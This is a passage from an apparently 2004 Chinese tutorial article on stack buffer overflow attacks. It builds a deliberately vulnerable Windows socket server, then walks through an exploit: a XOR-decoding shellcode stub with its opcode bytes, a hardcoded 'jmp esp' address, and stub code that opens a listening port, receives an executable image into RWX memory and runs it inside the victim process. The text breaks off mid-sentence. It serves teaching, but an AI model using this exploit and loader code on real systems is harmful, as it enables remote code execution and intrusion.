本文最早发表于《csdn开发高手》2004年第4期

很久以来,在人们心目中,“黑客”和病毒作者的身上总是笼罩着一层神秘的光环,他们被各种媒体描述成技术高手甚至技术天才,以至于有些人为了证明自己的“天才”身份而走上歧途,甚至违法犯罪。记得不久前就看到过这样一个案例:一位计算机专业研究生入侵了一家商业网站并删除了所有数据。当他在狱中接受记者的采访时,他非常自豪地说这样做只是为了证明自己和获得那种成就感。

本文讨论的缓冲区溢出攻击实际上是一项非常“古老”的技术,但它的破坏力依然不可小视——相信大家都还没有忘记几个月之前的“冲击波”。文中的代码实例几乎就是一个真实的病毒了,其中的一些技术你可能没有见过,但我可以很负责任的说它没有使用任何高深的技术,我没有进ring0,没有写设备驱动,甚至连汇编代码也只用了非常简单的11句。我希望此文能让大家重新认识一下“黑客”和病毒作者,把他们从神坛上“拉”下来。我更要提醒大家把那位“研究生”作为前车之鉴,不要滥用这项技术,否则必将玩火。下面就进入正题。

什么是缓冲区溢出<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度,会发生什么呢?对,源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同,缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后,进程可能的表现也有三种:一是运行正常,这时,被覆盖的是无用数据,并且没有发生访问违例;二是运行出错,包括输出错误和非法操作等;第三种就是受到攻击,程序开始执行有害代码,此时,哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。

一般情况下,静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。而栈上的漏洞则具有极大的危险性,所以我们的讲解也以栈上的缓冲区溢出为例。

攻击原理

要进行攻击,先得找到靶子。所以我就准备了一个叫做“victim”的程序作为被攻击对象,它在逻辑上等价于下面的代码:

void GetComputerName(SOCKET sck, LPSTR szComputer)

{

char szBuf[512];

recv(sck, szBuf, sizeof(szBuf), 0);

LPSTR szFileName = szBuf;

while((*szFileName) == '\\')

szFileName++;

while((*szFileName) != '\\' && (*szFileName) != '\0')

{

*szComputer = *szFileName;

szComputer++;

szFileName++;

}

*szComputer = '\0';

}

void ShowComputerName(SOCKET sck)

{

char szComputer[16];

GetComputerName(sck, szComputer);

// mov ecx,dword ptr [esp+4]

// sub esp,10h; ———2

// lea eax,[esp]

// push eax

// push ecx

// call GetComputerName (401000h)

printf(szComputer);

// lea edx,[esp]

// push edx

// call printf (401103h)

}

// add esp,14h

// ret 4; ———3

int __cdecl main(int argc, char* argv[])

{

WSADATA wsa;

WSAStartup(MAKEWORD(2,2), &wsa);

struct sockaddr_in saServer;

saServer.sin_family = AF_INET;

saServer.sin_port = 0xA05B; //htons(23456)

saServer.sin_addr.s_addr=ADDR_ANY;

SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

bind(sckListen, (sockaddr *)&saServer, sizeof(saServer));

listen(sckListen, 2);

SOCKET sckClient = accept(sckListen, NULL, NULL);// ———1

ShowComputerName(sckClient);

closesocket(sckClient);

closesocket(sckListen);

WSACleanup();

return 0;

}

victim程序的本意是从网络上接收一个UNCUniversal Naming Convention)形式的文件名,然后从中分离出机器名并打印在屏幕上。由于正常情况下,机器名最多只有16个字节,所以ShowComputerName函数也只给szComputer分配了16个字节长的缓冲区,并且GetComputerName也没有对缓冲区的长度做任何检查。这样,ShowComputerName中就出现了一个缓冲区溢出漏洞。

找到了漏洞,下一步要做的就是分析漏洞来找到具体的攻击方法。我们来看一下ShowComputerName的编译结果,每条c/c++语句下面注释中就是其编译后对应的汇编代码。对这些代码,我要说明两点:1这里使用的是stdcall调用约定,它是windows程序中最常用的调用约定,下文中的示例代码如果没有特别说明都将使用这种约定。有关各种调用约定的含义和区别,请参考相关资料。2因编译器、编译选项的不同,编译结果也可能不一样,后面的攻击代码是根据上面的编译结果编写的,我无法保证它在你的环境中也能正确执行。

我在程序中标注了三个标号,下图从左至右分别是程序执行完三个标号对应的代码后堆栈的状态及esp寄存器的指向,其中每个小格代表一个字,即四字节。

堆栈状态

从图中可以看出,当main调用ShowComputerName时,程序会首先将它的参数压栈,然后再将其执行完毕后的返回地址压栈。进入ShowComputerName后,程序再调整esp寄存器,为局部变量分配存储空间。而ShowComputerName返回时执行的“ret 4”指令不仅让程序跳转到返回地址继续运行,还会将返回地址、函数参数从栈中弹出,使栈恢复到调用前的状态。

很明显,如果UNC字符串中的机器名超过了16字节,函数ShowComputerName就会发生缓冲区溢出。为了讲解方便,下面我就开始从攻击者的角度来分析如何构造这个字符串才能让程序执行一些“意外”的代码。

你可能已经发现:函数ShowComputerName的返回地址就存放在“szComputer+16”处。所以,如果我们能把返回地址改成“szComputer+20”,并从地址“szComputer+20”开始填上一些我们需要的指令对应的数据,那么我们就能达到目的了。很高兴你能想到这些,但这是不可能的,因为我们既要根据szComputer来构造字符串,又要在szComputer确定前完成构造完字符串。所以,此路不通,我们必须拐个弯才行。

如果你还注意到cpu执行完“ret 4”指令后,esp指向“szComputer+24”处,那么你已经看到该在哪拐弯了。绝大多数情况下,我们能在进程的地址空间中找到一条拥有固定地址“jmp esp”指令,我们只需在“szComputer+16”处填上这条指令的地址,然后再从“szComputer+24”开始填入攻击指令就可以了。这样,ShowComputerName返回时,cpu执行“ret 4”指令,再执行“jmp esp”指令,控制权就转移到我们手里了。怎么样?很简单吧!

不过你还不要高兴得太早,上面所说的只是缓冲区溢出攻击的基本原理。而理论与实际永远是有一段距离的。要真正完成攻击,我们还有好几个棘手的问题需要解决。

首先是是如何处理一些不允许出现在字符串中的字符。在上面的代码中,如果我们构造的字符串的某个字节是0或者“\”,GetComputerName就会拒绝拷贝后面的数据,所以在我们的“计算机名”中不能有任何一个字节是0或“\”。“\”可能还好说一点,但一段“真正能做点事情”的代码不包括0几乎是不可能的。怎么解决这个矛盾呢?最简单的方法是异或。先写好真正的代码并编译得到结果,我称它为stubcode。然后找一个数字n,要求10n2552n是允许出现在字符串中的字符;3nstubcode的任何一个字节异或后都是允许出现的字符。用nstubcode逐字节进行异或,得到异或结果。很明显,要找到这样一个nstubcode就不能太长,只是做一些简单的准备工作,然后加载后续代码完成更多的工作,这也是我把它称为stubcode的原因。其实stubcode代码也需要一个stubcode,我们就把它称为stubstubcode吧,它的任务是用n与异或结果再逐字节异或一次来恢复stubcode的原貌,然后把控制权交给stubcodestubstubcode非常短,只有20个字节左右,通过精心设计就可能避免在其中出现不允许的字符。

由于前面的分析已经证明不可能在我们构造的字符串中放上一条“jmp esp”,并修改返回地址指向它,所以第二个难题就是到哪去找“jmp esp”指令了。你可能认为进程自身是首选,因为exe文件具有固定的装入地址,只要它包含这条指令,那么指令的地址就是确定的。但我不得不遗憾的告诉你,又错了。虽然exe的装入地址不会变,但这个地址一般较低,因而找到的“jmp esp”的地址的高字节肯定是0,它不是stubcode,我们没办法对它进行异或处理。如果你看过拙作nt环境下进程隐藏的实现》,你肯定知道基本上每个进程都会加载kernel32.dll,且它的装入地址在同一操作系统平台上是固定的。而另一个重要事实是它的装入地址足够高,能够满足不含0字节这一要求。所以我们应该到kernel32.dll中去找。但是非常不幸,在我的winxp + sp1系统中,偌大的一个kernel32.dll,竟然没有一个“jmp esp”指令的藏身之地(我没有在其他系统上作过尝试,各位读者如有兴趣可以自己试一下)。我只好退而求其次,到user32.dll中去找了,它在系统中拥有仅次于kernel32.dll的地位。最终,我在地址0x77D437DB处发现了“jmp esp”的身影。

第三个问题是如何在stubcode中调用API。《进程隐藏》一文中对此也有讨论,但情况与现在有一些不同,因为stubcode中没有现成的输入表,所以我们需要自己制作一个小的“输入表”作为stubcode的参数写到UNC字符串中,stubcode还需要其他一些参数,我把这些参数统称为stubparam。而把stubstubcodestubparamstubcode以及其它数据合起来构成的UNC字符串称为stub。当然,对stubparam也需要做异或处理以避免在其中出现非法字符。

stubcode中也不能有直接寻址指令,原因很明显,解决办法也很简单(不让用就不用了J),我就不再多说了。

攻击实例

我们的攻击程序名叫“attacker”,攻击成功后,它将使victim进程弹出下面的消息框。

消息框

attacker供给的第一步是把stub(也就是UNC字符串)发送给victim,所以我们就先来看一下stub的构成,如下图所示:

stub

其中,填充数据1用来填充返回地址前的所有内容,本例就是szComputer占用的空间;返回地址就是“jmp esp”指令的地址;填充数据2用来填充返回地址和stubstubcode之间的内容,本例是参数sck占用的空间;stubstubcodestubparamstubcode前面已经讲过;填充数据3则用于将stub打扮成正常字符串的样子,例如,补上结尾处的0字符等。

为了使用更方便,我定义了几个结构来表示整个stub。你可以看到,它们被“#pragma pack”编译指令固定为一字节对齐,这很重要,因为它可以:1减小stub的大小。栈上可供使用的空间不多,所以stub越小越好;2阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODESTUB中插入了额外的字节,我们的一切努力都将付之东流。

#pragma pack(push)

#pragma pack(1)

struct STUBSTUBCODE

{

BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9

WORD wXorSize; //需要进行异或处理的数据的大小

BYTE arrConst2[3]; //0x8D, 0x74, 0x24

BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移)

BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34

BYTE byXorMask; //使用此数字进行异或

BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24

BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移)

BYTE arrConst5[2]; //0xFF, 0xD0

};

struct STUBPARAM

{

FxLoadLibrary fnLoadLibrary;

FxGetProcAddr fnGetProcAddr;

FxVirtualAlloc fnVirtualAlloc;

DWORD dwImageSize;

DWORD rvaAttackerEntry;

char szWs2_32[11]; //ws2_32.dll

char szSocket[7]; //socket

char szBind[5]; //bind

char szListen[7]; //listen

char szAccept[7]; //accept

char szSend[5]; //send

char szRecv[5]; //recv

};

struct STUB

{

BYTE arrPadding1[18];

DWORD dwJmpEsp;

BYTE arrPadding2[4];

STUBSTUBCODE ssc;

STUBPARAM sp;

BYTE arrStubCode[1]; //实际上,这是一个变长数组

};

#pragma pack(pop)

STUBSTUBCODE对应的就是本文开头提到的11条汇编语句。参照stub的整体结构,我们不难写出它的具体实现。

xor ecx, ecx

mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小

lea esi, [esp+ byXorOffset]; byXorOffset是需要进行异或处理的代码的起始位置

push esi

xormask: mov al, [esi]

xor al, byXorMask; 使用byXorMask进行异或

mov [esi], al

inc esi

loop xormask

lea eax, [esp + byEntryOffset]; byEntryOffset StubCode的入口地址

call eax

其中的几个变量实际上要用常数替代,wXorSize是要进行异或处理的数据的大小,也就是stubparamstubcode的大小的和;byXorOffset是这些数据的起始位置相对于esp寄存器的偏移,从结构图中可以看出它等于“sizeof(STUBSTUBCODE)”,同时,它加上esp后就是STUBPARAM的地址,我们要把这个地址传给stubcode,所以立即把它压进了栈中,具体请见下面的相关内容;byXorMask是异或掩码,也就是前面提到的数字nbyEntryOffsetstubcode的入口相对于esp寄存器的偏移,它等于“sizeof(STUBSTUBCODE)+ sizeof(STUBPARAM)+4”,多加一个4是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的“mov ecx, wXorSize”则是为了避免出现0字符。

把代码和结构体对比一下,看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分,变量则是需要经常修改的部分。这种定义让我们有机会动态修改stubstubcode,减少手工的代码维护工作。

STUBPARAM定义的是要传递给stubcode的参数,它比较简单,相信你看完后面对stubcode的介绍,就能明白各成员的含义和作用了。其中所有以“Fx”为前缀的数据类型都是其相应函数的指针类型,后文还会遇到。

STUB中,我给了第一个填充数组18字节的空间,多出来的两字节用来存储UNC字符串中打头的“\\”,本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长,却是一个变长数组,保存的是结构图中的stubcode和填充数据3

下面我们就进入stub的最后一部分,也是最重要的一部分:stubcode,代码如下。

void WINAPI StubCode(STUBPARAM* psp)

{

HINSTANCE hWs2_32 = psp->fnLoadLibrary(psp->szWs2_32);

FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr;

Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32, psp->szSocket);

Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32, psp->szBind);

Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32, psp->szListen);

Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32, psp->szAccept);

Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32, psp->szSend);

Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32, psp->szRecv);

BYTE* buf = (BYTE*)psp->fnVirtualAlloc(NULL, psp->dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

struct sockaddr_in saServer;

saServer.sin_family = AF_INET;

saServer.sin_port = 0x3930; //htons(12345)

saServer.sin_addr.s_addr = ADDR_ANY;

fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer));

fnlisten(sckListen, 2);

SOCKET sckClient = fnaccept(sckListen, NULL, 0);

fnsend(sckClient, (const char*)(&buf), 4, 0);

DWORD dwBytesRecv = 0;

BYTE* pos = buf;

while(dwBytesRecv < psp->dwImageSize)

{

dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0);

pos = buf + dwBytesRecv;

}

FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf + psp->rvaAttackerEntry);

fnAttackerEntry(buf, psp->fnLoadLibrary, psp->fnGetProcAddr);

}

void StubCodeEnd(){} //this function marks the end of stubcode

stubcode先用LoadLibrary得到ws2_32.dll的句柄,然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存,这块内存有什么用呢?原来,同《进程隐藏》一样,我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像,所以,这块内存就是保存映像的空间,而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听,直到接到attacker连接请求。

attacker建立连接后,StubCode会立即将刚才分配的内存的起始地址发过去,attacker要根据这个地址对自身的一个拷贝进行重定位,然后